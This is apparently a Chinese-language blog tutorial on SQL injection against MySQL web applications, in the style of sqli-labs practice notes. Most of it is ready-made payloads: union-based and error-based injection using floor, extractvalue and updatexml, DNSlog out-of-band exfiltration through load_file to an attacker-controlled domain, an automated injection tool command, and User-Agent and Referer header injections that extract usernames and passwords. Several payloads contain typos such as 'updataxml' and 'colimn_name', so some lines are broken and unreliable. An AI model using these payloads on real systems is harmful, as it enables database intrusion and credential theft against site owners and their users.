SELECT 列名 from 表名;
SELECT * from 表名;*表现将表的数据全部输出
SELECT * from 表名 WHERE id=6(数字型)
SELECT * from 表名 WHERE id='6'(字符型)
union查询,利用union将两个查询语句连接起来(前后必须列数同等)
注入流程
select table_name from information_schema.tables<数据库.表名> where table_schema<存数据库名的列>=database()
复制代码
这样的语句只能查出一个表名。
利用group_concat()函数。
select group_concat(table_name) from information_schema.tables<数据库.表名> where table_schema<存数据库名的列>=database()
复制代码
查询列名
select group_concat(column_name)from information_schema.columns<数据库.表名> where table_schema<存数据库名的列>='security' and table_name='user'
复制代码
报错注入
没有回显位,有报错信息时利用
判断类型
直接尝试闭合来判断。
判断列数
正常利用。
查询库名
将database写错即可。
报错注入可以利用的函数
最常用的三个:
floor报错注入(最难)
floor报错注入完备语句:
?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,';',password) from userlimit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
复制代码
rand()函数:生成0~1的随机数。rand()*2:生成0~2的随机数。select rand() from users:users表无作用,只是表里面有几列,生成几个随机数。
floor(1.6666)函数:将小数点后的部分舍弃,取整。
select floor(rand()*2) from users:结果只为0或1。
concat_ws(1,2,3)函数:用1将2和3连接起来(1,2,3表现三个参数)
select concat_ws('-',database(),floor(rand()*2)) from users
复制代码
起别名:as 别名。group by XXX;对XXX分组。
select concat_ws('-',database(),floor(rand()*2)) as benben from users group by benben
复制代码
count()函数:统计数量。
select count(*),concat_ws('-',database(),floor(rand()*2)) as benben from users group by benben
执行可能报错,#1062 - Duplicate entry 'boke-1' for key '<group_key>'这是正常的报错信息。
?id=2' union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(table_name),1,31) from information_schema.tables where table_schema='security')))--+
?id=1' and (select load_file(//(select database()).域名))--+
复制代码
?id=1' and (select load_file(concat("//",(select database()),".DNS路径/随意文件名")))--+
复制代码
结果:点击refresh record即可得到数据。
?id=1' and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit(0,1)),".DNS路径/随意文件名")))--+
复制代码
limit函数用于控制输出,0,1表现从第一个开始,表现一个。
自动注入
github下载ADOOO/Dnslogsqlinj
注入指令:
python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" --dbs 解析库名
User-Agent:1' or updataxml(1,concat(~,(select database())),3),2,3) #
复制代码
后面修改concat的第二个参数即可。
User-Agent:' or updataxml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3),2,3) #
复制代码
User-Agent:' or updataxml(1,concat(~,(select group_concat(colimn_name) from information_schema.columns where table_schema=database() and table_name='users')),3),2,3) #
复制代码
User-Agent:' or updataxml(1,concat(~,(select concat(username,';',password) from users limit 0,1)),3),2,3) #
复制代码
HTTP头Referer注入
在Referer进行注入。
Referer:' or extractvalue(1,concat('#',(select database())),2) #
复制代码
Referer:' or extractvalue(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema=database()),2) #
复制代码
Referer:' or extractvalue(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),2) #
复制代码
Referer:' or extractvalue(1,concat('#',(select concat(username,';',password) from users limit 0,1)),2) #